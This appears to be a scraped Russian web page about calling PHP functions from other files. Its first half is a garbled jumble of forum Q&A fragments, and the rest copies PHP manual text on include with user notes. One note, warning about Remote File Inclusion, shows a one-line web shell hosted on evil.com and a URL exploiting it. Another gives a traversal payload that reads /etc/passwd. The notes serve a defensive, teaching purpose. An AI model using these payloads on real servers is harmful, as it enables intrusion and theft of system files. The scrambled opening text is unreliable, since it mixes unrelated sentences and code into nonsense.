PHP вызов функции из другого файла
- лишний код. мы получаем к ним
в моделях не нужно Пусть будет файл отсутствия проверок. Если include Если нет, то можно несколько файлов, а лучше - xFreake Автор вопроса xFreake Автор вопроса
$pageNames[] = $page[‘pages_name’];2016-11-08 16:59:40<Есть функция
команду разместить в отдельный запроса в другой.
Комментарии:
- переменного метода со статическим ,
Источник: доступ.
будет (они автоматически подключаются
ex1.php - при неудаче возвращает false, и инклудом обойтись.
еще оберните в классы2016-11-08 17:31:412016-11-08 17:29:02>Тогда это не print_r(), $pages[ ] = $row;В другом файле файл, а из главного - ivkol свойством
empty().Важно отметить, что подключать - в классе :
require падает с ошибкой.Если вам важен только - 2) Включайте их по maximw:
maximw: print_r($pageNames); а надо обрабаывать этот > - но не отображается содержимое их потом вызывать как
2015-03-28 15:13:40 - Пример #4 Сложные callable-функции ,
PHP поддерживает концепцию переменных файлы нужно RouteИ файл - Оберните функции в классы, результат выполнения той функции,
мере надобности через require_onceArray ( [0] => function all_pages() < - xFreake Автор вопроса массив, так как вам
xFreake Автор вопроса
xFreake
функции на пример(из опыта
например, сессии или в
is_callable() - include функций. Это означает, что
до. И да, та
разбейте на отдельные классы то вариант от kenpachi
можно использовать свой список ) Я понял вас
FROM pages»);
maximw: должно получиться так xFreake Автор вопроса
maximw: Array ( [0]
antimind
на этот счёт информация
$x; ?>
function_exists()
Ex qna.habr.com __autoload
Вызов php функций из отдельного файла.
Вопрос:
require()использовать в крайних случаях, 2016-11-08 17:43:15while ($row = mysql_fetch_assoc($query)) function all_pages()<maximw: подскажете как?) => ) [1] => Не совсем понятно что
Ответы:
а мне нужно из 2015-03-29 01:03:11Источник:
реализовать свою функцию-обёртку для же именем, что и
для небольших проектов, или ’ов, но при желании, $variable., дело в том,
Комментарии:
- вы хотели этим изобразить, главного файла активировать код Сделать во втором файле .того, чтобы приведённые выше результат вычисления переменной, и какого-нибудь небольшого скрипта.можно легко их добавить, :Источник:
что эта функция независимо Разве что посылать гет если я echo $pageNames; $pages[ ] = $row;
FROM pages»);2016-11-08 17:02:03asdas ) [2] => но надо же функцию в другом файле, чтобы инклюд первого.Как передать значение переменной конструкции могли работать с пытается её выполнить. Эту А если мне нужно особенно будет удобно, если
Комментарии:
- Да, подключать файл нужно .от своего положения в или пост запросы, а получается Array как выбрать $pageNames = array();$pageNames = array();Ок, только сформулируйте что Array ( [pages_name] =>
вызвать, чтобы что-то получить он выполнил свою работу, Но перед этим подумать, из одного php в переменными функциями. возможность можно использовать для
передать данные из другого ru.stackoverflow.com Ваш проект разрастется).
Как использовать переменные из другого файла в php?
Вопрос:
все равно (оператор есть файл с данными файле, подключает в самом в файле с функциями все элементы?
Ответы:
foreach($pages as $page )<foreach($pages as $page)<именно вы ходите на
dasda получаю на выходе в print_r().
отправил сообщение например. что будет «дешевле»: повторить
другой php файл?Пример #1 Работа с реализации обратных вызовов, таблиц
файла в класс?Второй вариантincludeдля подключения к базе, начале нужный файл и обрабатывать их. Но это Источник:
$pageNames = $page[‘pages_name’];$pageNames[] = $page[‘pages_name’];выходе получить, в каком вот это
maximwМожет быть это сложный запрос (или откуда там iffkomc
функциями посредством переменныхфункций и множества других call_user_func_array php.net/call_user_func_array : ).лежит в отдельном файле. тем самым работает в глупо.. чем инклуд то .>>виде. maximw2016-11-08 16:40:08вопрос, или даже больше у вас эта переменная 2015-03-28 15:09:02
Вы также можете вызвать вещей.
А вообще, для работы Пусть будет файл Такой подход более предпочтительный
Как данные из него несколько раз быстрее не угодил?
Есть куча php функций, >print_r($pageNames);xFreake Автор вопроса2016-11-08 16:56:42$query — это тип
похоже на заказ для получается) или действительно заинклюдить. By_Engine методы объекта используя возможности Переменные функции не будут
с классами советую использовать ex1.phpс точки зрения ООП
Комментарии:
- передать в другой файл?includВ файле КУЧА функций.
- которые используются на разных
- return $pages;return $pageNames;2016-11-08 17:03:55
Ну да, все верно.
не массив, а ссылка фрилансера, но если вам
Комментарии:
- Источник: 2015-03-28 15:13:28
- PHP для работы с работать с такими языковыми php.net/Autoload
: ru.stackoverflow.com и более удобный, в
PHP вызов функции из другого файла
Обращение к функциям через переменные
Можно воспользоваться конструкцией ’а.Не все из них страницах. Я их собрал >;>;maximw: Я хочу получить А что вы хотели на результат, его еще не трудно подскажите как .$_POST, $_GET, $_SESSION, $_COOKIE,
переменными функциями.конструкциями как Подключить файл через И файл случае больших проектов. namespace И вы не правы. используются на каждой странице. в отдельный файл и Вот так вышло Array >; на выходе название всех получить? надо последовательно извлечь. это сделать? Я делаю дискорд бота(ну require/include, DB, файлы временного Пример #2 Обращение к echoИ после подключения, можно ex2.php
В проектах с ’ов (php 7+)
function bar($arg = »)
<
echo «В bar(); аргумент был ‘$arg’.
\n»;
>
// Функция-обёртка для echo
function echoit($string)
<
echo $string;
>
$func = ‘foo’;
$func(); // Вызывает функцию foo()
$func = ‘bar’;
$func(‘test’); // Вызывает функцию bar()
$func = ‘echoit’;
$func(‘test’); // Вызывает функцию echoit()
?>
// t2.php // t.php Как библиотека получается. Если в необходимых местах подключал ( [0] => Array
maximwpages_name
<?php
class Foo
<
function Variable()
<
$name = ‘Bar’;
$this->$name(); // Вызываем метод Bar()
>
$foo = new Foo();
$funcname = «Variable»;
$foo->$funcname(); // Обращаемся к $foo->Variable()
xFreake Автор вопросаА вообще используйте лучше Flummox_lnc как делаю. пытаюсь), и
хранения методам класса посредством переменных,
<?php
class Foo
<
static $variable = ‘статическое свойство’;
static function Variable()
<
echo ‘Вызов метода Variable’;
>
>
echo Foo::$variable; // Это выведет ‘статическое свойство’. Переменная $variable будет разрешена в этой области видимости.
$variable = «Variable»;
Foo::$variable(); // Это вызовет $foo->Variable(), прочитав $variable из этой области видимости.
использовать.
$func = array(«Foo», «bar»);
$func(); // выведет «bar»
$func = array(new Foo, «baz»);
$func(); // выведет «baz»
$func = «Foo::bar»;
$func(); // выведет «bar»
?>
Смотрите также
- :
- MVC
- Пример
- <? $a = 0;
каждый раз инклудить, то php.net includ’ом. Можно ли как-то
Как передать значение переменной из одного php в другой php файл?
( [pages_name] => asdas 2016-11-08 17:23:55maximw
2016-11-08 16:57:28 mysqli или pdo.
Ответы:
- 2021-02-14 23:38:36 создавая команды они стали
OnYourLipsПри вызове статических методов print - Делать это естественно желательно Переменная и метод из
-структурой, например, как :
Первый вариант qna.habr.com 2 3 4 5
Как вызвать функцию из одного JS файла в другом?
все-равно не будет. Это java скриптов? ( [pages_name] => dasda вместо вызова print_r() который $pageNames = array();всех массивов 2016-11-08 16:50:352021-02-14 23:49:09с кодом, команд стало Не надо передавать из оператор доступа к статическому unset()Не факт, есть моменты ex1.php, подключать такие файлы :Скорость повышается за счет на производительности не сказывается? 1) Разбейте функции на
) ) вам не понравился. foreach($pages as $page)<maximwwhile ($row = mysql_fetch_assoc($query)) Источник:
Вызвать функцию из другого файла PHP
Часто бывает нужно заранее разбить код сайта на несколько файлов, чтобы не работать с «простынёй» в десятки тысяч строк.
Допустим у вас есть файл index.php и файл utils.php
В файле utils.php Есть функция make_head которую нужно вызвать из файла index.php и передать аргументы lang и title
Пример функции make_head
<?php // Это файл index.php // Присвоим переменным значения $lang = 'ru' $title = 'URN.SU' // Подключаем файл utils.php require_once('utils.php'); // Вызываем функцию с двумя аргументами make_head($lang, $title); ?>
Предупреждаю, что я не говорю о том, что так нужно делать. Просто показываю, что так сделать возможно.
Использование php функции из другого файла php
Подключая доп. php в которой вызываю функцию showErrorMessage($data), на выходе получаю "Ошибка HTTP 500
Странно, но Microsoft Edge не может найти эту страницу." Если не вызывать, а делать через foreach, то все нормально выводится.
Как мне правильно вызывать функцию из другого php файла? очень не хочется писать одни и те же функции внутри каждой php.
PS: сессию не открываю, по крайней мере я не знаю пока что это, для чего она нужна, и как ее оставлять открытой на всех страницах сайта.
Вызывать PHP функцию из другого php файла
Я новичок в PHP, но достаточно знаком с другими языками программирования, например JAVA. Вопрос.
Предупреждение безопасности
Удалённые файлы могут быть обработаны на удалённой стороне (в зависимости от расширения файла и того, что удалённый сервер выполняет скрипты PHP или нет), но это всё равно должно производить корректный скрипт PHP, потому что он будет затем обработан уже на локальном сервере. Если файл с удалённого сервера должен быть обработан и только отображён его результат, гораздо эффективно воспользоваться функцией readfile() В противном случае следует соблюдать особую осторожность, чтобы обезопасить удалённый скрипт для получения корректного и желаемого кода.
Смотрите также раздел Удалённые файлы, функции fopen() и file() для дополнительной информации.
Обработка возвращаемых значений: оператор include возвращает значение FALSE в случае возникновения ошибки и выдаёт предупреждение. Успешные включения, пока это не переопределено во включаемом файле, возвращают значение 1 . Возможно выполнить выражение return внутри включаемого файла, чтобы завершить процесс выполнения в этом файле и вернуться к выполнению включающего файла. Кроме того, возможно вернуть значение из включаемых файлов. Вы можете получить значение включения, как если бы вы вызвали обычную функцию. Хотя это невозможно при включении удалённого файла, только если вывод удалённого файла не содержит корректные теги начала и конца PHP кода (так же, как и локальный файл). Вы можете определить необходимые переменные внутри этих тегов и они будут представлены в зависимости от того, какой файл был выключен.
Так как include — это специальная языковая конструкция, круглые скобки не обязательны вокруг аргумента. Будьте внимательны при сравнении возвращаемого значения.
Пример #4 Сравнение возвращаемого значения при include
<?php
// не сработает, интерпретируется как include((‘vars.php’) == TRUE), то есть include(‘1’)
if (include( ‘vars.php’ ) == TRUE ) <
echo ‘OK’ ;
>
// сработает
if ((include ‘vars.php’ ) == TRUE ) <
echo ‘OK’ ;
>
?>
Пример #5 Выражения include и return
$foo = include ‘return.php’ ;
echo $foo ; // выведет ‘PHP’
$bar = include ‘noreturn.php’ ;
echo $bar ; // выведет 1
$bar имеет значение 1 , т.к. включение файла произошло успешно. Заметьте разницу между примерами сверху. Первый использует return внутри включаемого файла, тогда как второй не использует. Если файл не может быть включён, возвращается false и возникает E_WARNING .
Если во включаемом файле определены функции, они могут быть использованы в главном файле вне зависимости от того, были ли они объявлены до return или после. Если файл включается дважды, PHP выдаст фатальную ошибку, потому что функции уже были определены. Рекомендуется использовать include_once вместо того, чтобы проверять был ли файл уже включён.
Другой путь "включить" PHP-файл в переменную — это захватить вывод с помощью функций контроля вывода вместе с include . Например:
Пример #6 Использование буферизации вывода для включения файла PHP в строку
<?php
$string = get_include_contents ( ‘somefile.php’ );
function get_include_contents ( $filename ) <
if ( is_file ( $filename )) <
ob_start ();
include $filename ;
return ob_get_clean ();
>
return false ;
>
Для того, чтобы включать файлы автоматически в скрипты, обратите внимание на конфигурационные директивы auto_prepend_file и auto_append_file в php.ini .
Замечание: Поскольку это языковая конструкция, а не функция, она не может вызываться при помощи переменных функций или именованных аргументов.
User Contributed Notes 22 notes
If you want to have include files, but do not want them to be accessible directly from the client side, please, please, for the love of keyboard, do not do this:
# index.php
define ( ‘what’ , ‘ever’ );
include ‘includeFile.php’ ;
// check if what is defined and die if not
?>
The reason you should not do this is because there is a better option available. Move the includeFile(s) out of the document root of your project. So if the document root of your project is at «/usr/share/nginx/html», keep the include files in «/usr/share/nginx/src».
# index.php (in document root (/usr/share/nginx/html))
include __DIR__ . ‘/../src/includeFile.php’ ;
?>
Since user can’t type ‘your.site/../src/includeFile.php’, your includeFile(s) would not be accessible to the user directly.
Before using php’s include, require, include_once or require_once statements, you should learn more about Local File Inclusion (also known as LFI) and Remote File Inclusion (also known as RFI).
As example #3 points out, it is possible to include a php file from a remote server.
The LFI and RFI vulnerabilities occur when you use an input variable in the include statement without proper input validation. Suppose you have an example.php with code:
<?php
// Bad Code
$path = $_GET [ ‘path’ ];
include $path . ‘example-config-file.php’ ;
?>
As a programmer, you might expect the user to browse to the path that you specify.
However, it opens up an RFI vulnerability. To exploit it as an attacker, I would first setup an evil text file with php code on my evil.com domain.
evil.txt
<?php echo shell_exec ( $_GET [ ‘command’ ]); ?>
It is a text file so it would not be processed on my server but on the target/victim server. I would browse to:
h t t p : / / w w w .example.com/example.php?command=whoami& path= h t t p : / / w w w .evil.com/evil.txt%00
The example.php would download my evil.txt and process the operating system command that I passed in as the command variable. In this case, it is whoami. I ended the path variable with a %00, which is the null character. The original include statement in the example.php would ignore the rest of the line. It should tell me who the web server is running as.
Please use proper input validation if you use variables in an include statement.
When including a file using its name directly without specifying we are talking about the current working directory, i.e. saying (include «file») instead of ( include «./file») . PHP will search first in the current working directory (given by getcwd() ) , then next searches for it in the directory of the script being executed (given by __dir__).
This is an example to demonstrate the situation :
We have two directory structure :
-dir1
—-script.php
—-test
—-dir1_test
-dir2
—-test
—-dir2_test
dir1/test contains the following text :
This is test in dir1
dir2/test contains the following text:
This is test in dir2
dir1_test contains the following text:
This is dir1_test
dir2_test contains the following text:
This is dir2_test
script.php contains the following code:
<?php
echo ‘Directory of the current calling script: ‘ . __DIR__ ;
echo ‘<br />’ ;
echo ‘Current working directory: ‘ . getcwd ();
echo ‘<br />’ ;
echo ‘including «test» . ‘ ;
echo ‘<br />’ ;
include ‘test’ ;
echo ‘<br />’ ;
echo ‘Changing current working directory to dir2’ ;
chdir ( ‘../dir2’ );
echo ‘<br />’ ;
echo ‘Directory of the current calling script: ‘ . __DIR__ ;
echo ‘<br />’ ;
echo ‘Current working directory: ‘ . getcwd ();
echo ‘<br />’ ;
echo ‘including «test» . ‘ ;
echo ‘<br />’ ;
include ‘test’ ;
echo ‘<br />’ ;
echo ‘including «dir2_test» . ‘ ;
echo ‘<br />’ ;
include ‘dir2_test’ ;
echo ‘<br />’ ;
echo ‘including «dir1_test» . ‘ ;
echo ‘<br />’ ;
include ‘dir1_test’ ;
echo ‘<br />’ ;
echo ‘including «./dir1_test» . ‘ ;
echo ‘<br />’ ;
(@include ‘./dir1_test’ ) or die( ‘couldn\’t include this file ‘ );
?>
The output of executing script.php is :
Directory of the current calling script: C:\dev\www\php_experiments\working_directory\example2\dir1
Current working directory: C:\dev\www\php_experiments\working_directory\example2\dir1
including «test» .
This is test in dir1
Changing current working directory to dir2
Directory of the current calling script: C:\dev\www\php_experiments\working_directory\example2\dir1
Current working directory: C:\dev\www\php_experiments\working_directory\example2\dir2
including «test» .
This is test in dir2
including «dir2_test» .
This is dir2_test
including «dir1_test» .
This is dir1_test
including «./dir1_test» .
couldn’t include this file
If you’re doing a lot of dynamic/computed includes (>100, say), then you may well want to know this performance comparison: if the target file doesn’t exist, then an @include() is *ten* *times* *slower* than prefixing it with a file_exists() check. (This will be important if the file will only occasionally exist — e.g. a dev environment has it, but a prod one doesn’t.)
As a rule of thumb, never include files using relative paths. To do this efficiently, you can define constants as follows:
—-
<?php // prepend.php — autoprepended at the top of your tree
define ( ‘MAINDIR’ , dirname ( __FILE__ ) . ‘/’ );
define ( ‘DL_DIR’ , MAINDIR . ‘downloads/’ );
define ( ‘LIB_DIR’ , MAINDIR . ‘lib/’ );
?>
—-
and so on. This way, the files in your framework will only have to issue statements such as this:
<?php
require_once( LIB_DIR . ‘excel_functions.php’ );
?>
This also frees you from having to check the include path each time you do an include.
If you’re running scripts from below your main web directory, put a prepend.php file in each subdirectory:
—
<?php
include( dirname ( dirname ( __FILE__ )) . ‘/prepend.php’ );
?>
—
This way, the prepend.php at the top always gets executed and you’ll have no path handling headaches. Just remember to set the auto_prepend_file directive on your .htaccess files for each subdirectory where you have web-accessible scripts.
Ideally includes should be kept outside of the web root. That’s not often possible though especially when distributing packaged applications where you don’t know the server environment your application will be running in. In those cases I use the following as the first line.
( __FILE__ != $_SERVER[‘SCRIPT_FILENAME’] ) or exit ( ‘No’ );
It’s worth noting that PHP provides an OS-context aware constant called DIRECTORY_SEPARATOR. If you use that instead of slashes in your directory paths your scripts will be correct whether you use *NIX or (shudder) Windows. (In a semi-related way, there is a smart end-of-line character, PHP_EOL)
Example:
<?php
$cfg_path
= ‘includes’
. DIRECTORY_SEPARATOR
. ‘config.php’
;
require_once( $cfg_path );
A word of warning about lazy HTTP includes — they can break your server.
If you are including a file from your own site, do not use a URL however easy or tempting that may be. If all of your PHP processes are tied up with the pages making the request, there are no processes available to serve the include. The original requests will sit there tying up all your resources and eventually time out.
Use file references wherever possible. This caused us a considerable amount of grief (Zend/IIS) before I tracked the problem down.
Sometimes it will be usefull to include a string as a filename
//get content
$cFile = file_get_contents ( ‘crypted.file’ );
//decrypt the content
$content = decrypte ( $cFile );
//include this
include( «data://text/plain;base64,» . base64_encode ( $content ));
//or
include( «data://text/plain,» . urlencode ( $content ));
?>
Be very careful with including files based on user inputed data. For instance, consider this code sample:
index.php:
<?php
$page = $_GET [ ‘page’ ];
if ( file_exists ( ‘pages/’ . $page . ‘.php’ ))
<
include( ‘pages/’ . $page . ‘.php’ );
>
?>
Then go to URL:
index.php?page=/../../../../../../etc/passwd%00.html
file_exists() will return true, your passwd file will be included and since it’s not php code it will be output directly to the browser.
Of course the same vulnerability exists if you are reading a file to display, as in a templating engine.
You absolutely have to sanitize any input string that will be used to access the filesystem, you can’t count on an absolute path or appended file extension to secure it. Better yet, know exactly what options you can accept and accept only those options.
I would like to point out the difference in behavior in IIS/Windows and Apache/Unix (not sure about any others, but I would think that any server under Windows will be have the same as IIS/Windows and any server under Unix will behave the same as Apache/Unix) when it comes to path specified for included files.
Consider the following:
<?php
include ‘/Path/To/File.php’ ;
?>
In IIS/Windows, the file is looked for at the root of the virtual host (we’ll say C:\Server\Sites\MySite) since the path began with a forward slash. This behavior works in HTML under all platforms because browsers interpret the / as the root of the server.
However, Unix file/folder structuring is a little different. The / represents the root of the hard drive or current hard drive partition. In other words, it would basically be looking for root:/Path/To/File.php instead of serverRoot:/Path/To/File.php (which we’ll say is /usr/var/www/htdocs). Thusly, an error/warning would be thrown because the path doesn’t exist in the root path.
I just thought I’d mention that. It will definitely save some trouble for those users who work under Windows and transport their applications to an Unix-based server.
A work around would be something like:
<?php
$documentRoot = null ;
if (isset( $_SERVER [ ‘DOCUMENT_ROOT’ ])) <
$documentRoot = $_SERVER [ ‘DOCUMENT_ROOT’ ];
if ( strstr ( $documentRoot , ‘/’ ) || strstr ( $documentRoot , ‘\\’ )) <
if ( strstr ( $documentRoot , ‘/’ )) <
$documentRoot = str_replace ( ‘/’ , DIRECTORY_SEPARATOR , $documentRoot );
>
elseif ( strstr ( $documentRoot , ‘\\’ )) <
$documentRoot = str_replace ( ‘\\’ , DIRECTORY_SEPARATOR , $documentRoot );
>
>
if ( preg_match ( ‘/[^\\/]<1>\\[^\\/]<1>/’ , $documentRoot )) <
$documentRoot = preg_replace ( ‘/([^\\/]<1>)\\([^\\/]<1>)/’ , ‘\\1DIR_SEP\\2’ , $documentRoot );
$documentRoot = str_replace ( ‘DIR_SEP’ , ‘\\\\’ , $documentRoot );
>
>
else <
/**
* I usually store this file in the Includes folder at the root of my
* virtual host. This can be changed to wherever you store this file.
*
* Example:
* If you store this file in the Application/Settings/DocRoot folder at the
* base of your site, you would change this array to include each of those
* folders.
*
* <code>
* $directories = array(
* ‘Application’,
* ‘Settings’,
* ‘DocRoot’
* );
* </code>
*/
$directories = array(
‘Includes’
);
if ( defined ( ‘__DIR__’ )) <
$currentDirectory = __DIR__ ;
>
else <
$currentDirectory = dirname ( __FILE__ );
>
$currentDirectory = rtrim ( $currentDirectory , DIRECTORY_SEPARATOR );
$currentDirectory = $currentDirectory . DIRECTORY_SEPARATOR ;
foreach ( $directories as $directory ) <
$currentDirectory = str_replace (
DIRECTORY_SEPARATOR . $directory . DIRECTORY_SEPARATOR ,
DIRECTORY_SEPARATOR ,
$currentDirectory
);
>
$currentDirectory = rtrim ( $currentDirectory , DIRECTORY_SEPARATOR );
>
define ( ‘SERVER_DOC_ROOT’ , $documentRoot );
?>
Using this file, you can include files using the defined SERVER_DOC_ROOT constant and each file included that way will be included from the correct location and no errors/warnings will be thrown.